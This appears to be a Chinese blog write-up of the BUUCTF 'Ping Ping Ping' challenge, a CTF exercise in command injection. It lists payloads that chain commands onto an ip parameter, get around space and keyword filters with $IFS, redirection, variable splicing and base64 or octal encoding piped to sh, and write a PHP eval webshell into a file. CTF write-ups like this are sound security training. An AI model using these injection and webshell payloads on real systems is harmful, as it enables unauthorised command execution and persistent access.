zoukankan      html  css  js  c++  java
  • BUUCTF | [GXYCTF2019]Ping Ping Ping

    知识点:

    命令执行变量拼接

    /?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

    拼接绕过↓

    1 #执行ls命令:
    2 a=l;b=s;$a$b
    3 #cat flag文件内容:
    4 a=c;b=at;c=f;d=lag;$a$b ${c}${d}
    5 #cat test文件内容
    6 a="ccaatt";b=${a:0:1}${a:2:1}${a:4:1};$b test

    过滤bash用sh执行

    echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
    编码绕过↓
     1 #base64
     2 echo "Y2F0IC9mbGFn"|base64 -d|bash ==>cat /flag
     3 echo Y2F0IC9mbGFn|base64 -d|sh==>cat /flag
     4 #hex
     5 echo "0x636174202f666c6167" | xxd -r -p|bash ==>cat /flag
     6 #oct/字节
     7 $(printf "154163") ==>ls
     8 $(printf "x63x61x74x20x2fx66x6cx61x67") ==>cat /flag
     9 {printf,"x63x61x74x20x2fx66x6cx61x67"}|$0 ==>cat /flag
    10 #i也可以通过这种方式写马
    11 内容为<?php @eval($_POST['c']);?>
    12 ${printf,"7477160150160401001451661411545044137120117123124133471434713551737776"} >> 1.php

    内联执行

    内联执行将反引号内命令的输出作为输入执行,类似的还有$(command)

    ?ip=127.0.0.1;cat$IFS$9`ls`

    解题思路:

    打开题目命令执行的方法大抵是加上管道符或者分号,那么试试管道符

    ——> /?ip=127.0.0.1|ls

    我们看到flag.php与index.php两个php文件。我们试着读flag.php

    看到提示空格被ban(禁用)绕过空格的方法大概有以下几种:

    方法1:${IFS}

    payload1:

    1 root@kali:~# cat flag
    2 this is your flag
    3 root@kali:~# cat${IFS}flag
    4 this is your flag

    payload2:

    1 root@kali:~# cat${IFS}$1flag
    2 this is your flag

    payload3:

    1 root@kali:~# cat$IFS$1flag //$1改成$加其他数字貌似都行
    2 this is your flag

    方法2:重定向符<>

    payload1:

    1 root@kali:~# cat<>flag
    2 this is your flag

    payload2:

    1 root@kali:~# cat<flag
    2 this is your flag

    方法3:%09(需要php环境) 与 %20

    payload1:

    1 127.0.0.1/lixing.php?x=cat%09/root/flag

    payload2:

    127.0.0.1/lixing?x=cat%20/root/flag
    接下来输入——> ?/ip=127.0.0.1|cat${IFS}$1flag发现{被禁用了

    尝试空格用$IFS$1代替输入——> ?/ip=127.0.0.1|cat$IFS$1flag发现flag被禁用了

    尝试先来试着读取一下index.php发现过滤了许多标点,空格,bash,包括flag的贪婪匹配。

    那么自己印象中几种做法:

    1.cat fl* 利用*匹配任意 不行

    2.echo "Y2F0IGZsYWcucGhw"| base64 -d | bash 也不行

    3.ca flag.php 不行

    4.cat fl''ag.php 不行

    解决办法:

    变量拼接↓

    我们看到源码中有一个$a变量可以覆盖

    ——> /?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

    结尾:
    过滤bash?那就用sh。sh的大部分脚本都可以在bash下运行。

    echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
    

    内联执行的做法:

    ?ip=127.0.0.1;cat$IFS$9`ls`
    

    内联,就是将反引号内命令的输出作为输入执行
    参考链接:

  • 相关阅读:
    极简风格的LOGO,收集一波!
    如何利用AI软件中的混合器工具制作文字
    国内有哪些非常有设计感的 App?
    如何用PS制作花型背景图
    怎样去调整摄影作品的背景颜色
    如何用PS把数码拍摄的荷花照片制作成中国风的效果
    PS 抠人像如何抠得干净?
    如何用 Ps 制作毛玻璃穿透效果?
    化装品经过这样PS包装,身价立马翻10倍
    有哪些漂亮的中国风 LOGO 设计?
  • 原文地址:https://www.cnblogs.com/SpouseLJ/p/13223953.html
Copyright © 2011-2022 走看看